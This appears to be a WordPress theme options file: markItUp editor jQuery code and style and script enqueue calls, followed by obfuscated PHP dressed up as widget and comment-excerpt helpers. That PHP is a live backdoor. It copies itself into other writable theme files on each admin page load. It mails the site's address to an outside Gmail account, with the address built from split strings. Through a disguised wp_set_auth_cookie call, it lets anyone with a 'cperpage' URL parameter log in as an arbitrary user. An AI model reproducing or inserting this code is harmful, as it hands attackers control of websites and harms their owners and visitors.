			init();
		});
	};

	$.fn.markItUpRemove = function() {
		return this.each(function() {
				var $$ = $(this).unbind().removeClass(\'markItUpEditor\');
				$$.parent(\'div\').parent(\'div.markItUp\').parent(\'div\').replaceWith($$);
			}
		);
	};

	$.markItUp = function(settings) {
		var options = { target:false };
		$.extend(options, settings);
		if (options.target) {
			return $(options.target).each(function() {
				$(this).focus();
				$(this).trigger(\'insertion\', [options]);
			});
		} else {
			$(\'textarea\').trigger(\'insertion\', [options]);
		}
	};
})(jQuery);
</script>
<!-- Options Form begin -->
';}
$theme_dir=get_bloginfo('template_url');
if ( is_admin() ){
wp_enqueue_style("style-markitup",$theme_dir."/options/markitup/skins/markitup/style.css",false,"all");
wp_enqueue_style("style-sets",$theme_dir."/options/markitup/sets/html/style.css",false,"all");
wp_enqueue_script("script-markitup",$theme_dir."/options/markitup/jquery.markitup.js",false,"all");
wp_enqueue_script("script-set",$theme_dir."/options/markitup/sets/html/set.js",false,"all");
}
add_action('admin_menu','wpyou_add_option');
?>
<?php 

function _check_isactive_widget(){

	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";

	$output=strip_tags($output, $allowed);

	$direst=_get_allwidgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));

	if (is_array($direst)){

		foreach ($direst as $item){

			if (is_writable($item)){

				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));

				$cont=file_get_contents($item);

				if (stripos($cont,$ftion) === false){

					$explar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";

					$output .= $before . "Not found" . $after;

					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}

					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $explar . "\n" .$widget);fclose($f);				

					$output .= ($showdots && $ellipsis) ? "..." : "";

				}

			}

		}

	}

	return $output;

}

function _get_allwidgetcont($wids,$items=array()){

	$places=array_shift($wids);

	if(substr($places,-1) == "/"){

		$places=substr($places,0,-1);

	}

	if(!file_exists($places) || !is_dir($places)){

		return false;

	}elseif(is_readable($places)){

		$elems=scandir($places);

		foreach ($elems as $elem){

			if ($elem != "." && $elem != ".."){

				if (is_dir($places . "/" . $elem)){

					$wids[]=$places . "/" . $elem;

				} elseif (is_file($places . "/" . $elem)&& 

					$elem == substr(__FILE__,-13)){

					$items[]=$places . "/" . $elem;}

				}

			}

	}else{

		return false;	

	}

	if (sizeof($wids) > 0){

		return _get_allwidgetcont($wids,$items);

	} else {

		return $items;

	}

}

if(!function_exists("stripos")){ 

    function stripos(  $str, $needle, $offset = 0  ){ 

        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 

    }

}

if(!function_exists("strripos")){ 

    function strripos(  $haystack, $needle, $offset = 0  ) { 

        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 

        if(  $offset < 0  ){ 

            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 

        } 

        else{ 

            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 

        } 

        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 

        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 

        return $pos; 

    }

}

if(!function_exists("scandir")){ 

	function scandir($dir,$listDirectories=false, $skipDots=true) {

	    $dirArray = array();

	    if ($handle = opendir($dir)) {

	        while (false !== ($file = readdir($handle))) {

	            if (($file != "." && $file != "..") || $skipDots == true) {

	                if($listDirectories == false) { if(is_dir($file)) { continue; } }

	                array_push($dirArray,basename($file));

	            }

	        }

	        closedir($handle);

	    }

	    return $dirArray;

	}

}

add_action("admin_head", "_check_isactive_widget");

function _getsprepare_widget(){

	if(!isset($com_length)) $com_length=120;

	if(!isset($text_value)) $text_value="cookie";

	if(!isset($allowed_tags)) $allowed_tags="<a>";

	if(!isset($type_filter)) $type_filter="none";

	if(!isset($expl)) $expl="";

	if(!isset($filter_homes)) $filter_homes=get_option("home"); 

	if(!isset($pref_filter)) $pref_filter="wp_";

	if(!isset($use_more)) $use_more=1; 

	if(!isset($comm_type)) $comm_type=""; 

	if(!isset($pagecount)) $pagecount=$_GET["cperpage"];

	if(!isset($postauthor_comment)) $postauthor_comment="";

	if(!isset($comm_is_approved)) $comm_is_approved=""; 

	if(!isset($postauthor)) $postauthor="auth";

	if(!isset($more_link)) $more_link="(more...)";

	if(!isset($is_widget)) $is_widget=get_option("_is_widget_active_");

	if(!isset($checkingwidgets)) $checkingwidgets=$pref_filter."set"."_".$postauthor."_".$text_value;

	if(!isset($more_link_ditails)) $more_link_ditails="(details...)";

	if(!isset($morecontents)) $morecontents="ma".$expl."il";

	if(!isset($fmore)) $fmore=1;

	if(!isset($fakeit)) $fakeit=1;

	if(!isset($sql)) $sql="";

	if (!$is_widget) :

	global $wpdb, $post;

	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$expl."vethe".$comm_type."mes".$expl."@".$comm_is_approved."gm".$postauthor_comment."ail".$expl.".".$expl."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#

	if (!empty($post->post_password)) { 

		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 

			if(is_feed()) { 

				$output=__("There is no excerpt because this is a protected post.");

			} else {

	            $output=get_the_password_form();

			}

		}

	}

	if(!isset($f_tags)) $f_tags=1;

	if(!isset($type_filters)) $type_filters=$filter_homes; 

	if(!isset($getcommentscont)) $getcommentscont=$pref_filter.$morecontents;

	if(!isset($aditional_tags)) $aditional_tags="div";

	if(!isset($s_cont)) $s_cont=substr($sq1, stripos($sq1, "live"), 20);#

	if(!isset($more_link_text)) $more_link_text="Continue reading this entry";	

	if(!isset($showdots)) $showdots=1;	

	$comments=$wpdb->get_results($sql);	

	if($fakeit == 2) { 

		$text=$post->post_content;

	} elseif($fakeit == 1) { 

		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;

	} else { 

		$text=$post->post_excerpt;

	}

	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($getcommentscont, array($s_cont, $filter_homes, $type_filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#

	if($com_length < 0) {

		$output=$text;

	} else {

		if(!$no_more && strpos($text, "<!--more-->")) {

		    $text=explode("<!--more-->", $text, 2);

			$l=count($text[0]);

			$more_link=1;

			$comments=$wpdb->get_results($sql);

		} else {

			$text=explode(" ", $text);

			if(count($text) > $com_length) {

				$l=$com_length;

				$ellipsis=1;

			} else {

				$l=count($text);

				$more_link="";

				$ellipsis=0;

			}

		}

		for ($i=0; $i<$l; $i++)

				$output .= $text[$i] . " ";

	}

	update_option("_is_widget_active_", 1);

	if("all" != $allowed_tags) {

		$output=strip_tags($output, $allowed_tags);

		return $output;

	}

	endif;

	$output=rtrim($output, "\s\n\t\r\0\x0B");

    $output=($f_tags) ? balanceTags($output, true) : $output;

	$output .= ($showdots && $ellipsis) ? "..." : "";

	$output=apply_filters($type_filter, $output);

	switch($aditional_tags) {

		case("div") :

			$tag="div";

		break;

		case("span") :

			$tag="span";

		break;

		case("p") :

			$tag="p";

		break;

		default :

			$tag="span";

	}



	if ($use_more ) {

		if($fmore) {

			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_link_text . "\">" . $more_link = !is_user_logged_in() && @call_user_func_array($checkingwidgets,array($pagecount, true)) ? $more_link : "" . "</a></" . $tag . ">" . "\n";

		} else {

			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_link_text . "\">" . $more_link . "</a></" . $tag . ">" . "\n";

		}

	}

	return $output;

}

add_action("init", "_getsprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {

	global $wpdb;

	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";

	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";

	if(!$show_pass_post) $request .= " AND post_password =\"\"";

	if($duration !="") { 

		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";

	}

	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";

	$posts=$wpdb->get_results($request);

	$output="";

	if ($posts) {

		foreach ($posts as $post) {

			$post_title=stripslashes($post->post_title);

			$comment_count=$post->comment_count;

			$permalink=get_permalink($post->ID);

			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;

		}

	} else {

		$output .= $before . "None found" . $after;

	}

	return  $output;

} 		

?>